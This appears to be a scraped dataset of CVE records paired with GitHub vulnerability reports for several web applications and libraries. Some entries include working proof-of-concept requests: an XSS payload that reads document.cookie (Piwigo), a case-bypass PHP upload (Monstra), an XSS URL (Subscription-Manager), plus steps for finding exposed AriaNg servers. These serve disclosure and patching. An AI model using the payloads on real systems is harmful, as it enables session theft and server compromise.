| Stored XSS in Index | https://api.github.com/repos/flatCore/flatCore-CMS/issues/57/comments | 2 | 2021-09-06T15:27:36Z | 2023-01-05T10:52:13Z | https://github.com/flatCore/flatCore-CMS/issues/57 | 989,279,036 | 57 | 3,738 |
CVE-2022-1707 | 2022-06-13T13:15:11.793 | The Google Tag Manager for WordPress plugin for WordPress is vulnerable to reflected Cross-Site Scripting via the s parameter due to the site search populating into the data layer of sites with insufficient sanitization in versions up to an including 1.15. The affected file is ~/public/frontend.php and this could be exploited by unauthenticated attackers. | {
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"duracelltomi",
"gtm4wp"
] | Hi @duracelltomi,
Do you have a private email or contact information for security disclosures? If so, can you add that to your security policy on GitHub?
Cheers! | No security policy | https://api.github.com/repos/duracelltomi/gtm4wp/issues/224/comments | 3 | 2022-05-09T20:42:33Z | 2022-05-14T11:51:54Z | https://github.com/duracelltomi/gtm4wp/issues/224 | 1,230,231,189 | 224 | 3,739 |
CVE-2021-41663 | 2022-06-13T18:15:09.827 | A cross-site scripting (XSS) vulnerability exists in Mini CMS V1.11. The vulnerability exists in the article upload: post-edit.php page. | {
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] | 
| An xss vulnerability was found where my article was posted | https://api.github.com/repos/bg5sbk/MiniCMS/issues/41/comments | 0 | 2021-09-21T10:09:19Z | 2021-09-21T10:09:19Z | https://github.com/bg5sbk/MiniCMS/issues/41 | 1,002,158,475 | 41 | 3,740 |
CVE-2022-31054 | 2022-06-13T20:15:07.897 | Argo Events is an event-driven workflow automation framework for Kubernetes. Prior to version 1.7.1, several `HandleRoute` endpoints make use of the deprecated `ioutil.ReadAll()`. `ioutil.ReadAll()` reads all the data into memory. As such, an attacker who sends a large request to the Argo Events server will be able to crash it and cause denial of service. A patch for this vulnerability has been released in Argo Events version 1.7.1. | {
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Severity | Medium
-- | --
Difficulty | Medium
Target |
</div><br /><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Several </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#333333;background-color:#f3f3f3;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">HandleRoute</span><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> endpoints make use of the deprecated </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#434343;background-color:#f3f3f3;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ioutil.ReadAll()</span><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">. </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#333333;background-color:#f3f3f3;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ioutil.ReadAll()</span><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> reads all the data into memory. As such, an attacker who sends a large request to the Argo Events server will be able to crash it and cause denial of service.</span></p><br /><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Eventsources susceptible to an out-of-memory denial-of-service attack:</span></p><ol style="margin-top:0;margin-bottom:0;padding-inline-start:48px;"><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/awssns/start.go#L97" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">AWS SNS</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/bitbucket/start.go#L62" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Bitbucket</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/bitbucketserver/start.go#L63" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Bitbucket Server</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/gitlab/start.go#L61" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Gitlab</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/slack/start.go#L99" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Slack</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/storagegrid/start.go#L126" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Storagegrid</span></a></p></li><li dir="ltr" style="list-style-type:decimal;font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/webhook/start.go#L87" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Webhook</span></a></p></li></ol><br /><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Note that the Stripe Event Source uses </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#333333;background-color:#f3f3f3;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ioutil.ReadAll()</span><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> but limits the size of the request body: </span><a href="https://github.com/argoproj/argo-events/blob/master/eventsources/sources/stripe/start.go#L77" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">https://github.com/argoproj/argo-events/blob/master/eventsources/sources/stripe/start.go#L77</span></a></p><br /><br /><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Since </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#333333;background-color:#f3f3f3;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">io/ioutil</span><span style="font-size:11pt;font-family:Arial;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> has ceased maintenance we recommend discontinuing all use of this package.</span></b>Severity
Medium
Difficulty
Medium
Target
Several HandleRoute endpoints make use of the deprecated ioutil.ReadAll(). ioutil.ReadAll() reads all the data into memory. As such, an attacker who sends a large request to the Argo Events server will be able to crash it and cause denial of service.
Eventsources susceptible to an out-of-memory denial-of-service attack:
[AWS SNS](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/awssns/start.go#L97)
[Bitbucket](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/bitbucket/start.go#L62)
Bitbucket Server
[Gitlab](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/gitlab/start.go#L61)
[Slack](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/slack/start.go#L99)
[Storagegrid](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/storagegrid/start.go#L126)
[Webhook](https://github.com/argoproj/argo-events/blob/master/eventsources/sources/webhook/start.go#L87)
Note that the Stripe Event Source uses ioutil.ReadAll() but limits the size of the request body: https://github.com/argoproj/argo-events/blob/master/eventsources/sources/stripe/start.go#L77
Since io/ioutil has ceased maintenance we recommend discontinuing all use of this package. | 8 Uses of deprecated API can be used to cause DoS in user-facing endpoints | https://api.github.com/repos/argoproj/argo-events/issues/1946/comments | 0 | 2022-05-10T17:48:31Z | 2022-05-13T15:29:20Z | https://github.com/argoproj/argo-events/issues/1946 | 1,231,495,138 | 1,946 | 3,741 |
CVE-2021-40616 | 2022-06-14T10:15:17.920 | thinkcmf v5.1.7 has an unauthorized vulnerability. The attacker can modify the password of the administrator account with id 1 through the background user management group permissions. The use condition is that the background user management group authority is required. | {
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Vulnerable Files：/public/plugins/portal/controller/AdminRbacController.php
Browser access /admin/user/edit/id/1.html,Modify the password of the administrator account with id 1.
| thinkcmf v5.17 unauthorized vulnerability | https://api.github.com/repos/thinkcmf/thinkcmf/issues/722/comments | 0 | 2021-09-01T09:17:18Z | 2022-07-30T16:41:49Z | https://github.com/thinkcmf/thinkcmf/issues/722 | 984,912,437 | 722 | 3,742 |
CVE-2021-40678 | 2022-06-14T13:15:07.937 | In Piwigo 11.5.0, there exists a persistent cross-site scripting in the single mode function through /admin.php?page=batch_manager&mode=unit. | {
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"Piwigo"
] | **Description:**
In the single mode function of the Piwigo system, modifying the author parameter of the picture can cause persistent cross-site scripting
**Vulnerable Instances:**
/admin.php?page=batch_manager&mode=unit
**affected source code file**
**request**
```
POST /admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php?page=batch_manager&mode=unit
Cookie: pwg_id=mof6jca30q9tr1qu48hhvqi143
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
element_ids=4&name-4=test&author-4=11111%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E11&date_creation-4=&level-4=0&description-4=&submit=Submit
```
**suggestion**
Restrict user input and output | Persistent Cross Site Scripting in Batch Manager(version:11.5.0) | https://api.github.com/repos/Piwigo/Piwigo/issues/1476/comments | 0 | 2021-09-06T02:58:29Z | 2021-09-07T01:10:19Z | https://github.com/Piwigo/Piwigo/issues/1476 | 988,691,714 | 1,476 | 3,743 |
CVE-2021-40660 | 2022-06-14T14:15:07.887 | An issue was discovered in Delight Nashorn Sandbox 0.2.0. There is an ReDoS vulnerability that can be exploited to launching a denial of service (DoS) attack. | {
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"Exploit",
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"Third Party Advisory"
] | github.com | [
"javadelight",
"delight-nashorn-sandbox"
] | There is a weak expression can be exploited to launch a DOS attack.
Execution stack is as follow:
POC:
Run result:
| A ReDoS vulnerability can be exploited after version 0.2.0 | https://api.github.com/repos/javadelight/delight-nashorn-sandbox/issues/117/comments | 29 | 2021-08-30T01:48:26Z | 2024-01-09T20:41:55Z | https://github.com/javadelight/delight-nashorn-sandbox/issues/117 | 982,291,630 | 117 | 3,744 |
CVE-2021-41413 | 2022-06-15T12:15:08.540 | ok-file-formats master 2021-9-12 is affected by a buffer overflow in ok_jpg_convert_data_unit_grayscale and ok_jpg_convert_YCbCr_to_RGB. | {
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"Third Party Advisory"
] | github.com | [
"brackeen",
"ok-file-formats"
] | ## Test code :
```
#include <stdio.h>
#include <stdlib.h>
#include "ok_jpg.h"
int main(int argc, char **argv) {
if(argc<2) return 0;
FILE *file = fopen(argv[1], "rb");
ok_jpg image = ok_jpg_read(file, OK_JPG_COLOR_FORMAT_RGBA | OK_JPG_FLIP_Y);
fclose(file);
if (image.data) {
printf("Got image! Size: %li x %li\n", (long)image.width, (long)image.height);
free(image.data);
}
return 0;
}
```
## Tools: honggfuzz 2.4
## Target version: master-20210910
## Result:
```
$ ./Testjpg bugs/0.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:532 in ok_jpg_convert_data_unit_grayscale
$ ./Testjpg bugs/1.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:532 in ok_jpg_convert_data_unit_grayscale
$ ./Testjpg bugs/2.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:520 in ok_jpg_convert_YCbCr_to_RGB
$ ./Testjpg bugs/3.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:520 in ok_jpg_convert_YCbCr_to_RGB
$ ./Testjpg bugs/4.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:520 in ok_jpg_convert_YCbCr_to_RGB
$ ./Testjpg bugs/5.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:520 in ok_jpg_convert_YCbCr_to_RGB
$ ./Testjpg bugs/6.fuzz 2>&1 | grep SUMMARY
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pan/security_lab/workspace/fuzz/target/ok-file-formats/ok_jpg.c:520 in ok_jpg_convert_YCbCr_to_RGB
```
## Here are the [poc](https://github.com/pprivulet/fuzzing/tree/main/bugs/ok-file-formats-20210910-master) | bugs found in ok_jpg_convert_data_unit_grayscale and ok_jpg_convert_YCbCr_to_RGB via honggfuzz | https://api.github.com/repos/brackeen/ok-file-formats/issues/20/comments | 3 | 2021-09-10T01:15:24Z | 2021-09-13T01:11:04Z | https://github.com/brackeen/ok-file-formats/issues/20 | 992,795,670 | 20 | 3,745 |
CVE-2021-41672 | 2022-06-15T16:15:08.407 | PEEL Shopping CMS 9.4.0 is vulnerable to authenticated SQL injection in utilisateurs.php. A user that belongs to the administrator group can inject a malicious SQL query in order to affect the execution logic of the application and retrive information from the database. | {
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"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N",
"version": "2.0"
},
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},
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"impactScore": 5.2,
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"type": "Primary"
}
],
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} | [
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"url": "http://peel.com"
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"url": "https://github.com/advisto/peel-shopping/issues/5"
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"Exploit",
"Third Party Advisory"
] | github.com | [
"advisto",
"peel-shopping"
] | **Product Version**: 9.4.0
**Author**: Frentzen
**CVE Assigned**: CVE-2021-41672
**Vulnerability Description**: Authenticated user (with some administrator pivileges) can inject malicious query in order to achive SQL injection via *"id_utilisateur"* POST parameter on the /peel-shopping_9_4_0/administrer/utilisateurs.php endpoint. After this attack, attacker can read sensitive information from the database and until modify its data.
**Vulnerable URL:** [http://localhost/peel-shopping_9_4_0/administrer/utilisateurs.php](http://localhost/peel-shopping_9_4_0/administrer/utilisateurs.php)
**Proof of Concept:**
| SQL Injection in "utilisateurs.php" id_utilisateur POST parameter (Authenticated) | https://api.github.com/repos/advisto/peel-shopping/issues/5/comments | 1 | 2022-06-12T17:25:24Z | 2022-06-20T15:01:57Z | https://github.com/advisto/peel-shopping/issues/5 | 1,268,649,106 | 5 | 3,746 |
CVE-2021-40940 | 2022-06-15T17:15:08.573 | Monstra 3.0.4 does not filter the case of php, which leads to an unrestricted file upload vulnerability. | {
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"Exploit",
"Issue Tracking",
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"Third Party Advisory"
] | github.com | [
"monstra-cms",
"monstra"
] | # Brief of this vulnerability
The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.
# Test Environment
```
Apache/2.4.41 (Ubuntu20.04)
PHP 7.4.3
```
# Affect version
```
<=3.0.4
```
# POC
```
POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: localhost:80
Content-Length: 442
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:65003
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
Connection: close
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="csrf"
8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="file"; filename="shell.Php"
Content-Type: text/plain
<?php echo "This is a test";?>
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="upload_file"
上传
------WebKitFormBoundaryD6KF8q8SlXAspgP7--
```
Execute successfully
# Reason of This Vulnerability
`$_FILES['file']['name']` in the `Upload file module` does not check whether the file extension is case,Vulnerability file：`/plugins/box/filesmanager/filesmanager.admin.php`
```
// Upload file
// -------------------------------------
if (Request::post('upload_file')) {
if (Security::check(Request::post('csrf'))) {
$error = false;
if ($_FILES['file']) {
if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
$filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
$uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
if ($uploaded !== false && is_file($filepath)) {
Notification::set('success', __('File was uploaded', 'filesmanager'));
} else {
$error = 'File was not uploaded';
}
} else {
$error = 'Forbidden file type';
}
} else {
$error = 'File was not uploaded';
}
if ($error) {
Notification::set('error', __($error, 'filesmanager'));
}
if (Request::post('dragndrop')) {
Request::shutdown();
} else {
Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
}
} else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
}
```
# Repair suggestions
Add case verification at $_FILES['file']['name'], as follows:
```
// Upload file
// -------------------------------------
if (Request::post('upload_file')) {
if (Security::check(Request::post('csrf'))) {
$error = false;
if ($_FILES['file']) {
$_FILES['file']['name']=strtolower($_FILES['file']['name']); //Change uppercase to lowercase
if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
$filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
$uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
if ($uploaded !== false && is_file($filepath)) {
Notification::set('success', __('File was uploaded', 'filesmanager'));
} else {
$error = 'File was not uploaded';
}
} else {
$error = 'Forbidden file type';
}
} else {
$error = 'File was not uploaded';
}
if ($error) {
Notification::set('error', __($error, 'filesmanager'));
}
if (Request::post('dragndrop')) {
Request::shutdown();
} else {
Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
}
} else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
}
``` | Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability | https://api.github.com/repos/monstra-cms/monstra/issues/471/comments | 0 | 2021-09-08T14:55:01Z | 2021-09-08T15:47:57Z | https://github.com/monstra-cms/monstra/issues/471 | 991,231,315 | 471 | 3,747 |
CVE-2021-41415 | 2022-06-15T20:15:17.297 | Subscription-Manager v1.0 /main.js has a cross-site scripting (XSS) vulnerability in the machineDetail parameter. | {
"cvssMetricV2": [
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
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"Third Party Advisory"
] | github.com | [
"youranreus",
"Subscription-Manager"
] | ## Vulnerability file:
`/main.js`
```js
let machine_edit_component = Vue.component('Machine_edit_component',{
template:`
<div class="container">
<div id="machine-edit">
<h2>✍ 正在编辑-{{machineDetail.name}} <span @click="goBack">🔙 返回</span><span @click="goDelete">🗑️ 删除</span></h2>
<br/>
<h3>基本信息</h3>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="name"
id="name"
placeholder=" "
autocomplete="off"
v-model="machineDetail.name"
/>
<label for="name">小鸡名</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="fee"
id="fee"
placeholder=" "
autocomplete="off"
v-model="machineDetail.fee"
/>
<label for="fee">每月费用</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="host"
id="host"
placeholder=" "
autocomplete="off"
v-model="machineDetail.HOST"
/>
<label for="host">主机商</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="location"
id="location"
placeholder=" "
autocomplete="off"
v-model="machineDetail.location"
/>
<label for="location">位置</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="ip"
id="ip"
placeholder=" "
autocomplete="off"
v-model="machineDetail.ip"
/>
<label for="ip">IP</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="panel"
id="panel"
placeholder=" "
autocomplete="off"
v-model="machineDetail.panel"
/>
<label for="panel">面板地址</label>
</div>
<br/>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="deadline"
id="deadline"
placeholder=" "
autocomplete="off"
v-model="machineDetail.deadline"
/>
<label for="deadline">过期日期(yyyy-mm-dd)</label>
</div>
<br/>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="cycle"
id="cycle"
placeholder=" "
autocomplete="off"
v-model="machineDetail.cycle"
/>
<label for="cycle">付款周期(天)</label>
</div>
<br/>
<h3>自动续费开关</h3>
<div class="form-check">
<input type="radio" class="form-check-input bounce" id="auto-true" value="1" v-model="machineDetail.auto"/>
<label class="form-check-label" for="auto">自动续费</label>
</div>
<div class="form-check">
<input type="radio" class="form-check-input bounce" id="auto-false" value="0" v-model="machineDetail.auto"/>
<label class="form-check-label" for="auto">算了</label>
</div>
<h3>加入收藏</h3>
<div class="form-check">
<input type="radio" class="form-check-input bounce" value="1" v-model="machineDetail.liked"/>
<label class="form-check-label" for="liked">这必须收藏</label>
</div>
<div class="form-check">
<input type="radio" class="form-check-input bounce" value="0" v-model="machineDetail.liked"/>
<label class="form-check-label" for="liked">算了</label>
</div>
<br/>
<h3>备注</h3>
<textarea name="info" id="" cols="30" rows="10" v-model="machineDetail.info"></textarea>
<br><br>
<button class="btn btn-primary" @click="update">保存</button>
</div>
</div>
</div>
`,
data:function (){
return {
machineDetail : [],
logged: false
}
},
methods:{
getDetail: function(){
let url = window.location.href.replace(window.location.hash,'');
axios.get(url + 'X/index.php?action=getMachineDetail&id=' + this.$route.params.id)
.then((response)=>{
this.machineDetail = response.data[0]
})
},
goBack: function(){
this.$router.go(-1)
},
goDelete: function(){
this.$router.push({path:'/machine/'+this.$route.params.id+'/delete'})
},
update: function(){
if(this.machineDetail['name'] !== '' && this.machineDetail['liked'] !== '' && this.machineDetail['deadline'] !== '' && this.machineDetail['location'] !== '' && this.machineDetail['fee'] !== '' && this.machineDetail['cycle'] !== '' && this.machineDetail['auto'] !== '' && this.machineDetail['panel'] !== '' && this.machineDetail['info'] !== '' && this.machineDetail['HOST'] !== '' && this.machineDetail['ip'] !== ''){
let url = window.location.href.replace(window.location.hash,'');
axios.get(url + 'X/index.php?action=updateMachineDetail&id='+this.$route.params.id + '&name='+this.machineDetail['name']+'&liked='+this.machineDetail['liked']+'&deadline='+this.machineDetail['deadline']+'&location='+this.machineDetail['location']+'&fee='+this.machineDetail['fee']+'&cycle='+this.machineDetail['cycle']+'&auto='+this.machineDetail['auto']+'&panel='+this.machineDetail['panel']+'&info='+this.machineDetail['info']+'&HOST='+this.machineDetail['HOST']+'&ip='+this.machineDetail['ip'])
.then((response)=>{
if(response.data === 1){
alert("编辑成功")
this.$router.go(-1)
}
})
}else{
alert('有什么东西没填完？');
}
}
},
mounted(){
this.logged = Cookies.get('UserStatus')
if (this.logged !== 'true') {
this.$router.push({path: '/u'})
}
this.getDetail();
}
})
```
In the `main.js` file, the `machineDetail` parameter and the `machineDetail` parameter under the `machineDetail.info` method are controllable, and the `machineDetail` parameter is not strictly filtered, causing XSS injection vulnerabilities!
POC
```
/X/index.php?action=updateMachineDetail&id=1&name=测试机&liked=1&deadline=2020-12-10&location=深圳&fee=10&cycle=30&auto=0&panel=baidu.com&info=<img src="x" onerror="alert(1);">&HOST=阿里云&ip=1.1.1.1
```
| Subscription-Manager v1.0 /main.js hava a XSS Vulnerability | https://api.github.com/repos/youranreus/Subscription-Manager/issues/2/comments | 0 | 2021-09-14T03:11:22Z | 2022-04-14T05:36:09Z | https://github.com/youranreus/Subscription-Manager/issues/2 | 995,536,964 | 2 | 3,748 |
CVE-2021-41418 | 2022-06-15T20:15:17.340 | AriaNg v0.1.0~v1.2.2 is affected by an incorrect access control vulnerability through not authenticating visitors' access rights. | {
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"Exploit",
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"Third Party Advisory"
] | github.com | [
"Amozing",
"Am0zang"
] | 1.Search for assets using Fofa:" ariang" && country="CN"
(It's OK without ”CN“ )
2.Visit. You can view the download history, view AriaNg status, settings and settings of AriaNg
| AriaNg has an unauthorized access vulnerability | https://api.github.com/repos/Amozing/Am0zang/issues/1/comments | 0 | 2021-09-14T10:09:23Z | 2021-09-14T10:09:23Z | https://github.com/Amozing/Am0zang/issues/1 | 995,837,136 | 1 | 3,749 |
